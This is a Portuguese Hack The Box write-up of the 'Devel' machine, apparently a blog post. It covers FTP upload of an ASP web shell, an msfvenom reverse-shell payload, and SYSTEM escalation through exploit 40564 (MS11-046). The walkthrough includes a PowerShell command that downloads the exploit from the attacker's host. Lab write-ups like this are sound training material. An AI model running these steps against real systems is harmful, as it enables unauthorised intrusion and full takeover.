Devel - HTB Write Up - CVE-2011-1249 - MS11-046 - AFD Exploit
CVE-2011-1249 - MS11-046 - AFD Exploit
Enumeração Geral
nmap -Pn -sV -p- --open [IP]
HTTP Scan
nmap -Pn -p 80 -A [IP]
FTP Scan
nmap -Pn -p 21 -A [IP]
O resultado do scan mostra que o FTP permite o login anonimo.
O FTP permite criar um diretório e fazer o upload de arquivos, e para evidenciar adicionei o arquivo teste-ftp.html
Ao fazer o acesso HTTP com o IP a resposta é a página padrão do IIS 7.5 e é possível identificar o uso da linguagem ASPNET pela aplicação.
A SECLIST possui uma web-shell na linguagem ASP localizada em: /usr/share/seclists/Web-Shells/FuzzDB
Executando a web-shell
No entanto, a web-shell não permite acesso aos diretórios dos usuários Administrator e babis.
Reverse Shell com ASPX
Visualizando os formatos de arquivos no MSVenom
msfvenom --list formats
Visualizando os payloads para windows no MSVenom
msfvenom --list payloads | grep windows
O payload gerado com o msvenom é windows/shell_reverse_tcp
Upload para o FTP realizado com sucesso
systeminfo
Visualizar as informações do atual usuário como os grupos aos quais pertence, os privilégios
Ao buscar por artigos sobre escalação de privilégio, encontrei a referencia para o exploit 40564 que explora a vulnerabilidade MS11-046.
Searchsploit
searchsploit -w 40564
AFD - Ancillary Function Driver for WinSock é um drive do Windows. O arquivo afd.sys é executado pelo kernel do windows e gerencia a comunicação TCP/IP. Na CVE-2011-1249, foi publicada a vulnerabilidade de escalação de privilégio do AFD onde o drive não faz a validação correta de input passado do "modo usuário" para o kernel do windows.
Compilando o exploit
De acordo com as instruções do exploit, a compilação é feita com o mingw32 e para ver se o mingw está instalado no Kali basta executar o comando abaixo:
apt list --installed
i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
Na primeira tentativa de executar o payload depois de adicionar o arquivo 40564.exe pelo comando put do FTP, a execução retorna uma falha. Ao pesquisar sobre o erro "This program cannot be run in DOS mode", encontrei uma dica sobre o arquivo estar corrompido, sendo assim, habilitei o web server com o python na minha máquina e transferi o arquivo com o powershell a partir da máquina-alvo.
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://[IP]:8080/40564.exe', 'c:\inetpub\wwwroot\teste\40564.exe')"
Dessa vez funcionou. O arquivo estava corrompido mas ao transferir com o powershell, o arquivo está integro e o exploit pôde ser executado.
Após executar o exploit e conseguir o acesso como SYSTEM, ao sair da shell, o exploit mostra esse output com informações interessantes sobre os componentes usados para explorar a falha no AFD.
Referências:
[+] Microsoft Security Bulletins - MS11-046
Comentários
Postar um comentário